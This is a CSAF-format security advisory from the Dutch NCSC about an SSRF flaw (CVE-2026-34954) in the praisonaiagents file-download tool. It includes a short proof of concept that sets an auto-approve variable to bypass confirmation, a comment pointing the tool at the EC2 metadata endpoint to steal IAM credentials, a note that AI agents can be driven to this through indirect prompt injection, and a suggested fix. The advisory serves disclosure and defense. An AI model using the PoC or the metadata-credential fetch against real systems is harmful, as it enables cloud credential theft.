{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-34954", "tracking": { "current_release_date": "2026-04-02T00:06:03.573350Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-34954", "initial_release_date": "2026-04-01T23:55:51.651087Z", "revision_history": [ { "date": "2026-04-01T23:55:51.651087Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)." }, { "date": "2026-04-01T23:55:53.851548Z", "number": "2", "summary": "NCSC Score created." } ], "status": "interim", "version": "2" } }, "vulnerabilities": [ { "cve": "CVE-2026-34954", "cwe": { "id": "CWE-918", "name": "Server-Side Request Forgery (SSRF)" }, "notes": [ { "category": "description", "text": "### Summary\n\n`FileTools.download_file()` in `praisonaiagents` validates the destination path but performs no validation on the `url` parameter, passing it directly to `httpx.stream()` with `follow_redirects=True`. An attacker who controls the URL can reach any host accessible from the server including cloud metadata services and internal network services.\n\n### Details\n\n`file_tools.py:259` (source) -> `file_tools.py:296` (sink)\n```python\n# source -- url taken directly from caller, no validation\ndef download_file(self, url: str, destination: str, ...):\n\n# sink -- unvalidated url passed to httpx with redirect following\n with httpx.stream(\"GET\", url, timeout=timeout, follow_redirects=True) as response:\n```\n\n### PoC\n```bash\n# tested on: praisonaiagents==1.5.87 (source install)\n# install: pip install -e src/praisonai-agents\n# start listener: python3 -m http.server 8888\n\nimport os\nos.environ['PRAISONAI_AUTO_APPROVE'] = 'true'\nfrom praisonaiagents.tools.file_tools import download_file\n\nresult = download_file(\n url=\"http://127.0.0.1:8888/ssrf-test\",\n destination=\"/tmp/ssrf_out.txt\"\n)\nprint(result)\n# listener logs: \"GET /ssrf-test HTTP/1.1\" 404\n# on EC2 with IMDSv1: url=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\n# writes IAM credentials to destination file\n```\n\n### Impact\n\nOn cloud infrastructure with IMDSv1 enabled, an attacker can retrieve IAM credentials via the EC2 metadata service and write them to disk for subsequent agent steps to exfiltrate. `follow_redirects=True` enables open-redirect chaining to bypass partial URL filters. Reachable via indirect prompt injection with no authentication required.\n\n### Suggested Fix\n```python\nfrom urllib.parse import urlparse\nimport ipaddress\n\nBLOCKED_NETWORKS = [\n ipaddress.ip_network(\"127.0.0.0/8\"),\n ipaddress.ip_network(\"169.254.0.0/16\"),\n ipaddress.ip_network(\"10.0.0.0/8\"),\n ipaddress.ip_network(\"172.16.0.0/12\"),\n ipaddress.ip_network(\"192.168.0.0/16\"),\n]\n\ndef _validate_url(url: str) -> None:\n parsed = urlparse(url)\n if parsed.scheme not in (\"http\", \"https\"):\n raise ValueError(f\"Scheme {parsed.scheme!r} not allowed\")\n try:\n addr = ipaddress.ip_address(parsed.hostname)\n for net in BLOCKED_NETWORKS:\n if addr in net:\n raise ValueError(f\"Requests to {addr} are not permitted\")\n except ValueError as e:\n if \"does not appear to be\" not in str(e):\n raise\n```", "title": "github - https://api.github.com/advisories/GHSA-44c2-3rw4-5gvh" }, { "category": "other", "text": "3.9", "title": "NCSC Score" } ], "references": [ { "category": "external", "summary": "Source - github", "url": "https://api.github.com/advisories/GHSA-44c2-3rw4-5gvh" }, { "category": "external", "summary": "Reference - github", "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-44c2-3rw4-5gvh" }, { "category": "external", "summary": "Reference - github", "url": "https://github.com/advisories/GHSA-44c2-3rw4-5gvh" } ], "title": "CVE-2026-34954" } ] }